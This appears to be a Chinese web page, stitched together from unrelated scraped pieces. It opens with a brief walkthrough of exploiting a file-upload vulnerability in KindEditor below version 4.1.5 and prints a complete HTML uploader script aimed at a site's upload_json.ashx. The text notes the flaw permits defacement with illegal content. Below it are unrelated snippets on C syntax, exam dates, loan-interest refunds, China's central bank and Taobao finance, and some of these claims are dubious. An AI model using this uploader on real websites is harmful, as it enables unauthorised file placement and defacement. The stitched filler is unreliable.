kindeditor編輯器版本小于4.1.5存在文件上傳漏洞，可利用該漏洞上次網頁、文本文件，可網站進行篡改，添加賭博、反共等違法信息。
通過掃描器發現該網站存在編輯器。
通過瀏覽器訪問，確定該編輯器為kindeditor編輯器。
確定該編輯器的版本小于4.1.5，存在文件上傳漏洞。
構造文件上傳漏洞利用腳本kindeditor.html。
<html><head><title>Uploader</title><script src="https://url/editor/kindeditor.js"></script><script>KindEditor.ready(function(K) {var uploadbutton = K.uploadbutton({button : K('#uploadButton')[0],fieldName : 'imgFile',url : 'https://url/editor/asp.net/upload_json.ashx?dir=file',afterUpload : function(data) {if (data.error === 0) {var url = K.formatUrl(data.url, 'absolute');K('#url').val(url);}},});uploadbutton.fileBox.change(function(e) {uploadbutton.submit();});});</script></head><body><div class="upload"><input class="ke-input-text" type="text" id="url" value="" readonly="readonly" /><input type="button" id="uploadButton" value="Upload" /></div></body></html>本地打開構建好的html文件
利用漏洞利用腳本上傳測試文件uptext.txt，并使用工具抓取數據包。
在返回包中獲取到文件上傳位置，并使用瀏覽器成功訪問。
本文由 貴州做網站公司 整理發布，部分圖文來源于互聯網，如有侵權，請聯系我們刪除，謝謝！
c語言中正確的字符常量是用一對單引號將一個字符括起表示合法的字符常量。例如‘a’。數值包括整型、浮點型。整型可用十進制，八進制，十六進制。八進制前面要加0，后面...
2022年天津專場考試原定于3月19日舉行，受疫情影響確定延期，但目前延期后的考試時間推遲。 符合報名條件的考生，須在規定時間登錄招考資訊網(www.zha...
：喜歡聽，樂意看。指很受歡迎?！巴卣官Y料”喜聞樂見：[ xǐ wén lè jiàn ]詳細解釋1. 【解釋】：喜歡聽，樂意看。指很受歡迎。2. 【示例】：這是...
根據國家網貸的規定，捷信是屬于高利貸，對于超過國家規定的貸款利率部分是需要退還給用戶的，那么捷信退利息是在哪里退?捷信辦理退息是需要通過關注“聚投訴”微信公眾號，按照公眾號的提示進行操作并提交好有關貸款的證明資料之后，就會有捷信官方工作人員聯系用戶辦理退息手續。需要注意的是，捷信退息退還的只是超出國家規定范圍內的利息。捷信怎么退利息流程【1】首先借款人要準備借款證明、利息證...
中國的貨幣發行機構是中國人民銀行。中國人民銀行成立于1948年12月1日，是在三所銀行的基礎上建立的。中國人民銀行簡稱央行,是中國的中央銀行。1983年， 中國的相關部門決定，賦予中國人民銀行行使央行職能的權力。1995年，全國人大制定了第一部關于中國人民銀行的法律。中國人民銀行的總部位于北京市。晚清到民國初期，銀行林立，各地金融機構風起云涌。國民政府、地方勢力、割據的軍閥、都為了各自利益，成立金...
淘寶理財是什么?淘寶理財是淘寶旗下的一款互聯網理財產品，旨在為用戶提供高收益、低風險的投資選擇。通過與各大銀行、基金公司等合作，淘寶理財推出了多種理財產品，包括余額寶、基金定投、銀行存款等。淘寶理財產品介紹1. 余額寶：余額寶是淘寶理財的核心產品，是一種貨幣基金，用戶可以將自己的閑置資金存入余額寶中，享受高于銀行定期存款利率的收益。2. 基金定投：淘寶理財與多家基金公司合作，推出了多種基金定投產品...
免責聲明：本站內容部分文字和圖片來源于網絡，版權屬于原作者所有，若有冒犯，請聯系我們進行刪除，謝謝。聯系郵箱：1051388971#qq.com （把#換成@）
